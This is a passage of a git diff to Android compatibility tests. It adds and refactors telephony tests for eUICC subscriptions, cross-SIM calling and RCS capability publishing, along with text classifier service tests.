+                    field.setAccessible(true);
+                    try {
+                        if (field.getInt(null) == errorCode) {
+                            return field.getName();
+                        }
+                    } catch (IllegalAccessException e) {
+                        continue;
+                    }
+                }
+            }
+        }
+        return String.format("??%d??", errorCode);
+    }
+
     /**
      * Executes the given shell command and returns the output in a string. Note that even
      * if we don't care about the output, we have to read the stream completely to make the
diff --git a/tests/tests/telephony/current/src/android/telephony/euicc/cts/DownloadableSubscriptionTest.java b/tests/tests/telephony/current/src/android/telephony/euicc/cts/DownloadableSubscriptionTest.java
index 9afa104..bb3a9ea 100644
--- a/tests/tests/telephony/current/src/android/telephony/euicc/cts/DownloadableSubscriptionTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/euicc/cts/DownloadableSubscriptionTest.java
@@ -45,6 +45,19 @@
     }
 
     @Test
+    public void testDownloadableSubscriptionBuilder() {
+        final String confirmationCode = "fake confirmation code";
+        DownloadableSubscription downloadableSubscription =
+                new DownloadableSubscription.Builder(ACTIVATION_CODE)
+                        .setConfirmationCode(confirmationCode)
+                        .build();
+
+        assertNotNull(downloadableSubscription);
+        assertEquals(ACTIVATION_CODE, downloadableSubscription.getEncodedActivationCode());
+        assertEquals(confirmationCode, downloadableSubscription.getConfirmationCode());
+    }
+
+    @Test
     public void testGetEncodedActivationCode() {
         assertNotNull(mDownloadableSubscription);
         assertEquals(ACTIVATION_CODE, mDownloadableSubscription.getEncodedActivationCode());
@@ -72,15 +85,15 @@
 
         // write object to parcel
         Parcel parcel = Parcel.obtain();
-        mDownloadableSubscription.writeToParcel(parcel,
-                mDownloadableSubscription.describeContents());
+        mDownloadableSubscription.writeToParcel(
+                parcel, mDownloadableSubscription.describeContents());
 
         // extract object from parcel
         parcel.setDataPosition(0 /* pos */);
         DownloadableSubscription downloadableSubscriptionFromParcel =
                 DownloadableSubscription.CREATOR.createFromParcel(parcel);
-        assertEquals(ACTIVATION_CODE,
-                downloadableSubscriptionFromParcel.getEncodedActivationCode());
+        assertEquals(
+                ACTIVATION_CODE, downloadableSubscriptionFromParcel.getEncodedActivationCode());
 
         // There is no way to set DownloadableSubscription#confirmationCode from here because
         // Android P doesn't allow accessing a platform class's @hide methods or private fields
diff --git a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java
index 80cfc02..eae33de 100644
--- a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java
@@ -481,7 +481,7 @@
     private PendingIntent createCallbackIntent(String action) {
         Intent intent = new Intent(action);
         return PendingIntent.getBroadcast(
-                getContext(), REQUEST_CODE, intent, PendingIntent.FLAG_UPDATE_CURRENT);
+                getContext(), REQUEST_CODE, intent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 
     private static class CallbackReceiver extends BroadcastReceiver {
diff --git a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccTestResolutionActivity.java b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccTestResolutionActivity.java
index 67b5116..c6f9ba7 100644
--- a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccTestResolutionActivity.java
+++ b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccTestResolutionActivity.java
@@ -74,7 +74,7 @@
                         getApplicationContext(),
                         0 /* requestCode */,
                         resolutionActivityIntent,
-                        PendingIntent.FLAG_ONE_SHOT);
+                        PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         // add pending intent to extra
         Intent resultIntent = new Intent();
@@ -93,7 +93,7 @@
     private PendingIntent createCallbackIntent(String action) {
         Intent intent = new Intent(action);
         return PendingIntent.getBroadcast(
-                getApplicationContext(), REQUEST_CODE, intent, PendingIntent.FLAG_UPDATE_CURRENT);
+                getApplicationContext(), REQUEST_CODE, intent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 
     private void sendCallbackAndFinish(int resultCode) {
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
index a965d7b..62f4fc8 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
@@ -261,6 +261,51 @@
     }
 
     /**
+     * Set the cross SIM setting and ensure it is queried successfully.
+     * Also ensure the ContentObserver is triggered properly.
+     */
+    @Test
+    public void testCrossSIMSetting() throws Exception {
+        PersistableBundle bundle = new PersistableBundle();
+        // Do not worry about provisioning for this test
+        bundle.putBoolean(KEY_CARRIER_VOLTE_OVERRIDE_WFC_PROVISIONING_BOOL, false);
+        bundle.putBoolean(CarrierConfigManager.KEY_CARRIER_VOLTE_PROVISIONING_REQUIRED_BOOL, false);
+        overrideCarrierConfig(bundle);
+        // Register Observer
+        Uri callingUri = Uri.withAppendedPath(
+                SubscriptionManager.CROSS_SIM_ENABLED_CONTENT_URI, "" + sTestSub);
+        CountDownLatch contentObservedLatch = new CountDownLatch(1);
+        ContentObserver observer = createObserver(callingUri, contentObservedLatch);
+
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        ImsMmTelManager mMmTelManager = imsManager.getImsMmTelManager(sTestSub);
+
+        boolean isEnabled = ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
+                mMmTelManager, ImsMmTelManager::isCrossSimCallingEnabledByUser, ImsException.class,
+                "android.permission.READ_PRIVILEGED_PHONE_STATE");
+        ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(mMmTelManager,
+                (m) -> m.setCrossSimCallingEnabled(!isEnabled),  ImsException.class,
+                "android.permission.MODIFY_PHONE_STATE");
+
+        waitForLatch(contentObservedLatch, observer);
+        boolean isEnabledResult = ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
+                mMmTelManager,
+                ImsMmTelManager::isCrossSimCallingEnabledByUser,
+                ImsException.class,
+                "android.permission.READ_PRIVILEGED_PHONE_STATE");
+        assertEquals("isCrossSimCallingEnabledByUser did not match"
+                        + "value set by setCrossSimCallingEnabled",
+                !isEnabled, isEnabledResult);
+
+        // Set back to default
+        ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(mMmTelManager,
+                (m) -> m.setCrossSimCallingEnabled(isEnabled),
+                ImsException.class,
+                "android.permission.MODIFY_PHONE_STATE");
+        overrideCarrierConfig(null);
+    }
+
+    /**
      * Set the VoWiFi roaming setting and ensure it is queried successfully. Also ensure the
      * ContentObserver is triggered properly.
      */
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
index 3d3afd9..2a7595d 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
@@ -52,6 +52,7 @@
 import android.telephony.ims.feature.ImsFeature;
 import android.telephony.ims.feature.MmTelFeature;
 import android.telephony.ims.feature.RcsFeature.RcsImsCapabilities;
+import android.telephony.ims.stub.CapabilityExchangeEventListener;
 import android.telephony.ims.stub.ImsConfigImplBase;
 import android.telephony.ims.stub.ImsFeatureConfiguration;
 import android.telephony.ims.stub.ImsRegistrationImplBase;
@@ -859,6 +860,164 @@
         }
     }
 
+    @Test
+    public void testRcsDeviceCapabilitiesPublish() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        // Trigger carrier config changed
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_SIP_OPTIONS_BOOL, true);
+        bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_PRESENCE_BOOL, true);
+        overrideCarrierConfig(bundle);
+
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        if (imsManager == null) {
+            fail("Cannot find IMS service");
+        }
+
+        ImsRcsManager imsRcsManager = imsManager.getImsRcsManager(sTestSub);
+        RcsUceAdapter uceAdapter = imsRcsManager.getUceAdapter();
+
+        // Connect to device ImsService with MmTel feature and RCS feature
+        triggerFrameworkConnectToImsServiceBindMmTelAndRcsFeature();
+
+        TestRcsCapabilityExchangeImpl capExchangeImpl = sServiceConnector.getCarrierService()
+                .getRcsFeature().getRcsCapabilityExchangeImpl();
+
+        // Register the callback to listen to the publish state changed
+        LinkedBlockingQueue<Integer> publishStateQueue = new LinkedBlockingQueue<>();
+        RcsUceAdapter.OnPublishStateChangedListener publishStateCallback =
+                new RcsUceAdapter.OnPublishStateChangedListener() {
+                    public void onPublishStateChange(int state) {
+                        publishStateQueue.offer(state);
+                    }
+                };
+
+        // Another publish register callback to verify the API
+        // RcsUceAdapter#removeOnPublishStateChangedListener
+        LinkedBlockingQueue<Integer> unregisteredPublishStateQueue = new LinkedBlockingQueue<>();
+        RcsUceAdapter.OnPublishStateChangedListener unregisteredPublishStateCallback =
+                new RcsUceAdapter.OnPublishStateChangedListener() {
+                    public void onPublishStateChange(int state) {
+                        unregisteredPublishStateQueue.offer(state);
+                    }
+                };
+
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            automan.adoptShellPermissionIdentity();
+            // register two publish state callback
+            uceAdapter.addOnPublishStateChangedListener(getContext().getMainExecutor(),
+                    publishStateCallback);
+            uceAdapter.addOnPublishStateChangedListener(getContext().getMainExecutor(),
+                    unregisteredPublishStateCallback);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        // Verify receiving the publish state callback immediately after registering the callback.
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED,
+                waitForIntResult(publishStateQueue));
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED,
+                waitForIntResult(unregisteredPublishStateQueue));
+        publishStateQueue.clear();
+        unregisteredPublishStateQueue.clear();
+
+        // Verify the value of getting from the API is NOT_PUBLISHED
+        try {
+            automan.adoptShellPermissionIdentity();
+            int publishState = uceAdapter.getUcePublishState();
+            assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED, publishState);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        // Setup the operation of the publish request.
+        capExchangeImpl.setPublishOperator((listener, pidfXml, cb) -> {
+            int networkResp = 200;
+            String reason = "";
+            listener.onPublish();
+            cb.onNetworkResponse(networkResp, reason);
+        });
+
+        // Unregister the publish state callback
+        try {
+            automan.adoptShellPermissionIdentity();
+            uceAdapter.removeOnPublishStateChangedListener(unregisteredPublishStateCallback);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        // IMS registers
+        sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
+                ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+
+        // Framework should trigger the device capabilities publish when IMS is registered.
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_UCE_REQUEST_PUBLISH));
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, waitForIntResult(publishStateQueue));
+        publishStateQueue.clear();
+
+        // The unregistered callback should not be called.
+        if (unregisteredPublishStateQueue.poll() != null) {
+            fail("Unregistered publish callback should not be called");
+        }
+
+        // Verify the value of getting from the API is PUBLISH_STATE_OK
+        try {
+            automan.adoptShellPermissionIdentity();
+            int publishState = uceAdapter.getUcePublishState();
+            assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, publishState);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        CapabilityExchangeEventListener eventListener =
+                sServiceConnector.getCarrierService().getRcsFeature().getEventListener();
+
+        // ImsService triggers to notify framework publish device's capabilities.
+        eventListener.onRequestPublishCapabilities(
+                RcsUceAdapter.CAPABILITY_UPDATE_TRIGGER_MOVE_TO_WLAN);
+
+        // Verify ImsService receive the publish request from framework.
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_UCE_REQUEST_PUBLISH));
+
+        // ImsService triggers the unpublish notification
+        eventListener.onUnpublish();
+
+        // Verify the publish state callback will be called with the state "NOT_PUBLISHED"
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED,
+                waitForIntResult(publishStateQueue));
+        publishStateQueue.clear();
+
+        // The unregistered callback should not be called.
+        if (unregisteredPublishStateQueue.poll() != null) {
+            fail("Unregistered publish callback should not be called when unpublish");
+        }
+
+        // Verify the value of getting from the API is NOT_PUBLISHED
+        try {
+            automan.adoptShellPermissionIdentity();
+            int publishState = uceAdapter.getUcePublishState();
+            assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED, publishState);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        // Trigger RcsFeature is unavailable
+        sServiceConnector.getCarrierService().getRcsFeature()
+                .setFeatureState(ImsFeature.STATE_UNAVAILABLE);
+
+        // Verify the RcsCapabilityExchangeImplBase will be removed.
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_UCE_LISTENER_SET));
+
+        overrideCarrierConfig(null);
+    }
+
     @Ignore("RCS APIs not public yet")
     @Test
     public void testRcsManagerRegistrationCallback() throws Exception {
@@ -1850,7 +2009,7 @@
             return;
         }
 
-        triggerFrameworkConnectToCarrierImsServiceBindMmtelRcsFeature();
+        triggerFrameworkConnectToLocalImsServiceBindRcsFeature();
 
         final int errorCode = 403;
         final String errorString = "Forbidden";
@@ -1935,7 +2094,7 @@
             return;
         }
 
-        triggerFrameworkConnectToCarrierImsServiceBindMmtelRcsFeature();
+        triggerFrameworkConnectToLocalImsServiceBindRcsFeature();
 
         final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
         LinkedBlockingQueue<Integer> clientQueue = new LinkedBlockingQueue<>();
@@ -1997,7 +2156,7 @@
             return;
         }
 
-        triggerFrameworkConnectToCarrierImsServiceBindMmtelRcsFeature();
+        triggerFrameworkConnectToLocalImsServiceBindRcsFeature();
 
         final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
         LinkedBlockingQueue<Integer> clientQueue = new LinkedBlockingQueue<>();
@@ -2034,7 +2193,7 @@
         }
         RcsClientConfiguration rcc = new RcsClientConfiguration(
                 "1.0", "UP_1.0", "Android", "RCSAndrd-1.0");
-        triggerFrameworkConnectToCarrierImsServiceBindMmtelRcsFeature();
+        triggerFrameworkConnectToLocalImsServiceBindRcsFeature();
 
         final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
         LinkedBlockingQueue<Integer> actionQueue = new LinkedBlockingQueue<>();
@@ -2161,6 +2320,44 @@
                 sTestSlot, serviceSlot);
     }
 
+    private void triggerFrameworkConnectToImsServiceBindMmTelAndRcsFeature() throws Exception {
+        // Connect to the ImsService with the RCS feature.
+        assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
+                .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL)
+                .addFeature(sTestSlot, ImsFeature.FEATURE_RCS)
+                .build()));
+
+        // The MmTelFeature is created when the ImsService is bound. If it wasn't created, then the
+        // Framework did not call it.
+        assertTrue("Did not receive createMmTelFeature", sServiceConnector.getCarrierService()
+                .waitForLatchCountdown(TestImsService.LATCH_CREATE_MMTEL));
+        assertTrue("Did not receive MmTelFeature#onReady", sServiceConnector.getCarrierService()
+                .waitForLatchCountdown(TestImsService.LATCH_MMTEL_READY));
+        assertNotNull("ImsService created, but ImsService#createMmTelFeature was not called!",
+                sServiceConnector.getCarrierService().getMmTelFeature());
+        int serviceSlot = sServiceConnector.getCarrierService().getMmTelFeature().getSlotIndex();
+        assertEquals("The slot specified for the test (" + sTestSlot + ") does not match the "
+                        + "assigned slot (" + serviceSlot + "+ for the associated MmTelFeature",
+                sTestSlot, serviceSlot);
+
+        // The RcsFeature is created when the ImsService is bound. If it wasn't created, then the
+        // Framework did not call it.
+        assertTrue("Did not receive createRcsFeature", sServiceConnector.getCarrierService()
+                .waitForLatchCountdown(TestImsService.LATCH_CREATE_RCS));
+        assertTrue("Did not receive RcsFeature#onReady", sServiceConnector.getCarrierService()
+                .waitForLatchCountdown(TestImsService.LATCH_RCS_READY));
+        // Make sure the RcsFeature was created in the test service.
+        assertNotNull("Device ImsService created, but TestDeviceImsService#createRcsFeature was not"
+                + "called!", sServiceConnector.getCarrierService().getRcsFeature());
+        assertTrue("Did not receive RcsFeature#setCapabilityExchangeEventListener",
+                sServiceConnector.getCarrierService().waitForLatchCountdown(
+                        TestImsService.LATCH_UCE_LISTENER_SET));
+        serviceSlot = sServiceConnector.getCarrierService().getRcsFeature().getSlotIndex();
+        assertEquals("The slot specified for the test (" + sTestSlot + ") does not match the "
+                        + "assigned slot (" + serviceSlot + "+ for the associated RcsFeature",
+                sTestSlot, serviceSlot);
+    }
+
     private void triggerFrameworkConnectToCarrierImsService() throws Exception {
         // Connect to the ImsService with the MmTel feature.
         assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
@@ -2180,33 +2377,6 @@
                 sTestSlot, serviceSlot);
     }
 
-    private void triggerFrameworkConnectToCarrierImsServiceBindMmtelRcsFeature() throws Exception {
-        // Connect to the ImsService with the MmTel feature.
-        assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
-                .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL)
-                .addFeature(sTestSlot, ImsFeature.FEATURE_RCS)
-                .build()));
-        // The MmTelFeature is created when the ImsService is bound. If it wasn't created, then the
-        // Framework did not call it.
-        assertTrue("Did not receive createMmTelFeature", sServiceConnector.getCarrierService()
-                .waitForLatchCountdown(TestImsService.LATCH_CREATE_MMTEL));
-        assertTrue("Did not receive MmTelFeature#onReady", sServiceConnector.getCarrierService()
-                .waitForLatchCountdown(TestImsService.LATCH_MMTEL_READY));
-        assertNotNull("ImsService created, but ImsService#createMmTelFeature was not called!",
-                sServiceConnector.getCarrierService().getMmTelFeature());
-        // The RcsFeature is created when the ImsService is bound. If it wasn't created, then the
-        // Framework did not call it.
-        assertTrue("Did not receive createRcsFeature", sServiceConnector.getCarrierService()
-                .waitForLatchCountdown(TestImsService.LATCH_CREATE_RCS));
-        // Make sure the RcsFeature was created in the test service.
-        assertNotNull("Device ImsService created, but TestDeviceImsService#createRcsFeature was not"
-                + "called!", sServiceConnector.getCarrierService().getRcsFeature());
-        int serviceSlot = sServiceConnector.getCarrierService().getMmTelFeature().getSlotIndex();
-        assertEquals("The slot specified for the test (" + sTestSlot + ") does not match the "
-                        + "assigned slot (" + serviceSlot + "+ for the associated MmTelFeature",
-                sTestSlot, serviceSlot);
-    }
-
     private ProvisioningManager.RcsProvisioningCallback buildRcsProvisioningCallback(
             LinkedBlockingQueue<Integer> actionQueue,
             LinkedBlockingQueue<RcsProvisioningCallbackParams> paramQueue) {
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java
index acc1d1f..912d95c 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java
@@ -69,7 +69,9 @@
     public static final int LATCH_RCS_READY = 8;
     public static final int LATCH_MMTEL_CAP_SET = 9;
     public static final int LATCH_RCS_CAP_SET = 10;
-    private static final int LATCH_MAX = 11;
+    public static final int LATCH_UCE_LISTENER_SET = 11;
+    public static final int LATCH_UCE_REQUEST_PUBLISH = 12;
+    private static final int LATCH_MAX = 13;
     protected static final CountDownLatch[] sLatches = new CountDownLatch[LATCH_MAX];
     static {
         for (int i = 0; i < LATCH_MAX; i++) {
@@ -86,6 +88,12 @@
     interface CapabilitiesSetListener {
         void onSet();
     }
+    interface RcsCapabilitySetListener {
+        void onSet();
+    }
+    interface DeviceCapPublishListener {
+        void onPublish();
+    }
 
     // This is defined here instead TestImsService extending ImsService directly because the GTS
     // tests were failing to run on pre-P devices. Not sure why, but TestImsService is loaded
@@ -159,8 +167,20 @@
                             synchronized (mLock) {
                                 countDownLatch(LATCH_RCS_CAP_SET);
                             }
+                        },
+                        () -> {
+                            synchronized (mLock) {
+                                countDownLatch(LATCH_UCE_LISTENER_SET);
                         }
-                        );
+                        });
+
+                // Setup UCE request listener
+                mTestRcsFeature.setDeviceCapPublishListener(() -> {
+                    synchronized (mLock) {
+                        countDownLatch(LATCH_UCE_REQUEST_PUBLISH);
+                    }
+                });
+
                 if (mSetNullRcsBinding) {
                     return null;
                 }
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsCapabilityExchangeImpl.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsCapabilityExchangeImpl.java
new file mode 100644
index 0000000..cdc1392
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsCapabilityExchangeImpl.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import android.telephony.ims.ImsException;
+import android.telephony.ims.cts.TestImsService.DeviceCapPublishListener;
+import android.telephony.ims.stub.RcsCapabilityExchangeImplBase;
+import android.util.Log;
+
+import java.util.concurrent.Executor;
+
+/**
+ * A implementation class of RcsCapabilityExchangeImplBase for the TestRcsFeature.
+ */
+public class TestRcsCapabilityExchangeImpl extends RcsCapabilityExchangeImplBase {
+
+    private static final String LOG_TAG = "TestRcsCapExchangeImpl";
+
+    @FunctionalInterface
+    public interface PublishOperation {
+        void execute(DeviceCapPublishListener listener, String pidfXml, PublishResponseCallback cb)
+                throws ImsException;
+    }
+
+    private DeviceCapPublishListener mPublishListener;
+
+    // The operation of publishing capabilities
+    private PublishOperation mPublishOperation;
+
+    /**
+     * Create a new RcsCapabilityExchangeImplBase instance.
+     * @param executor The executor that remote calls from the framework will be called on.
+     */
+    public TestRcsCapabilityExchangeImpl(Executor executor, DeviceCapPublishListener listener) {
+        super(executor);
+        mPublishListener = listener;
+    }
+
+    public void setPublishOperator(PublishOperation operation) {
+        mPublishOperation = operation;
+    }
+
+    @Override
+    public void publishCapabilities(String pidfXml, PublishResponseCallback cb) {
+        try {
+            mPublishOperation.execute(mPublishListener, pidfXml, cb);
+        } catch (ImsException e) {
+            Log.w(LOG_TAG, "publishCapabilities exception: " + e);
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsFeature.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsFeature.java
index 3354158..b81f22f 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsFeature.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsFeature.java
@@ -17,25 +17,41 @@
 package android.telephony.ims.cts;
 
 import android.telephony.ims.feature.RcsFeature;
+import android.telephony.ims.stub.CapabilityExchangeEventListener;
+import android.telephony.ims.stub.RcsCapabilityExchangeImplBase;
 import android.util.Log;
 
+import java.util.concurrent.Executor;
+
 public class TestRcsFeature extends RcsFeature {
+
     private static final String TAG = "CtsTestImsService";
 
     private final TestImsService.ReadyListener mReadyListener;
     private final TestImsService.RemovedListener mRemovedListener;
     private final TestImsService.CapabilitiesSetListener mCapSetListener;
+    private final TestImsService.RcsCapabilitySetListener mRcsCapabilitySetListener;
+
+    private TestRcsCapabilityExchangeImpl mCapExchangeImpl;
+    private CapabilityExchangeEventListener mCapEventListener;
+    private TestImsService.DeviceCapPublishListener mDeviceCapPublishListener;
 
     TestRcsFeature(TestImsService.ReadyListener readyListener,
             TestImsService.RemovedListener listener,
-            TestImsService.CapabilitiesSetListener setListener) {
+            TestImsService.CapabilitiesSetListener setListener,
+            TestImsService.RcsCapabilitySetListener uceCallbackListener) {
         mReadyListener = readyListener;
         mRemovedListener = listener;
         mCapSetListener = setListener;
+        mRcsCapabilitySetListener = uceCallbackListener;
 
         setFeatureState(STATE_READY);
     }
 
+    public void setDeviceCapPublishListener(TestImsService.DeviceCapPublishListener listener) {
+        mDeviceCapPublishListener = listener;
+    }
+
     @Override
     public void onFeatureReady() {
         if (ImsUtils.VDBG) {
@@ -51,4 +67,30 @@
         }
         mRemovedListener.onRemoved();
     }
+
+    public RcsCapabilityExchangeImplBase createCapabilityExchangeImpl(Executor executor,
+            CapabilityExchangeEventListener listener) {
+        if (ImsUtils.VDBG) {
+            Log.d(TAG, "TestRcsFeature.createCapabilityExchangeImpl called");
+        }
+        mCapEventListener = listener;
+        mCapExchangeImpl = new TestRcsCapabilityExchangeImpl(executor, mDeviceCapPublishListener);
+        mRcsCapabilitySetListener.onSet();
+        return mCapExchangeImpl;
+    }
+
+    public void removeCapabilityExchangeImpl(RcsCapabilityExchangeImplBase capExchangeImpl) {
+        if (ImsUtils.VDBG) {
+            Log.d(TAG, "TestRcsFeature.removeCapabilityExchangeImpl called");
+        }
+        mRcsCapabilitySetListener.onSet();
+    }
+
+    public CapabilityExchangeEventListener getEventListener() {
+        return mCapEventListener;
+    }
+
+    public TestRcsCapabilityExchangeImpl getRcsCapabilityExchangeImpl() {
+        return mCapExchangeImpl;
+    }
 }
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/CtsTextClassifierService.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/CtsTextClassifierService.java
index 13facc5..d3d19bb 100644
--- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/CtsTextClassifierService.java
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/CtsTextClassifierService.java
@@ -94,7 +94,12 @@
             TextSelection.Request request, CancellationSignal cancellationSignal,
             Callback<TextSelection> callback) {
         handleRequest(sessionId, "onSuggestSelection");
-        callback.onSuccess(TextClassifier.NO_OP.suggestSelection(request));
+        TextSelection.Builder textSelection =
+                new TextSelection.Builder(request.getStartIndex(), request.getEndIndex());
+        if (request.shouldIncludeTextClassification()) {
+            textSelection.setTextClassification(createTextClassification());
+        }
+        callback.onSuccess(textSelection.build());
     }
 
     @Override
@@ -102,18 +107,21 @@
             TextClassification.Request request, CancellationSignal cancellationSignal,
             Callback<TextClassification> callback) {
         handleRequest(sessionId, "onClassifyText");
-        final TextClassification classification = new TextClassification.Builder()
+        callback.onSuccess(createTextClassification());
+    }
+
+    private TextClassification createTextClassification() {
+        return new TextClassification.Builder()
                 .addAction(new RemoteAction(
                         ICON_RES,
                         "Test Action",
                         "Test Action",
                         PendingIntent.getActivity(
-                            this,
-                            0,
-                            new Intent(),
-                            PendingIntent.FLAG_IMMUTABLE)))
+                                this,
+                                0,
+                                new Intent(),
+                                PendingIntent.FLAG_IMMUTABLE)))
                 .build();
-        callback.onSuccess(classification);
     }
 
     @Override
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java
index 954e977..3068260 100644
--- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java
@@ -32,6 +32,7 @@
 import android.view.textclassifier.TextClassificationSessionId;
 import android.view.textclassifier.TextClassifier;
 import android.view.textclassifier.TextLanguage;
+import android.view.textclassifier.TextSelection;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.core.app.ApplicationProvider;
@@ -120,7 +121,7 @@
     }
 
     @Test
-    public void testResourceIconsRewrittenToContentUriIcons() throws Exception {
+    public void testResourceIconsRewrittenToContentUriIcons_classifyText() throws Exception {
         final TextClassifier tc = ApplicationProvider.getApplicationContext()
                 .getSystemService(TextClassificationManager.class)
                 .getTextClassifier();
@@ -133,6 +134,22 @@
         assertThat(icon.getUri()).isEqualTo(CtsTextClassifierService.ICON_URI.getUri());
     }
 
+    @Test
+    public void testResourceIconsRewrittenToContentUriIcons_suggestSelection() throws Exception {
+        final TextClassifier tc = ApplicationProvider.getApplicationContext()
+                .getSystemService(TextClassificationManager.class)
+                .getTextClassifier();
+        final TextSelection.Request request =
+                new TextSelection.Request.Builder("0800 123 4567", 0, 12)
+                        .setIncludeTextClassification(true)
+                        .build();
+
+        final TextSelection textSelection = tc.suggestSelection(request);
+        final Icon icon = textSelection.getTextClassification().getActions().get(0).getIcon();
+        assertThat(icon.getType()).isEqualTo(Icon.TYPE_URI);
+        assertThat(icon.getUri()).isEqualTo(CtsTextClassifierService.ICON_URI.getUri());
+    }
+
     /**
      * Start an Activity from another package that queries the device's TextClassifierService when
      * started and immediately terminates itself. When the Activity finishes, it sends broadcast, we
diff --git a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerFrontendTest.java b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerFrontendTest.java
index 36f7326..5b5949f 100644
--- a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerFrontendTest.java
+++ b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerFrontendTest.java
@@ -545,7 +545,7 @@
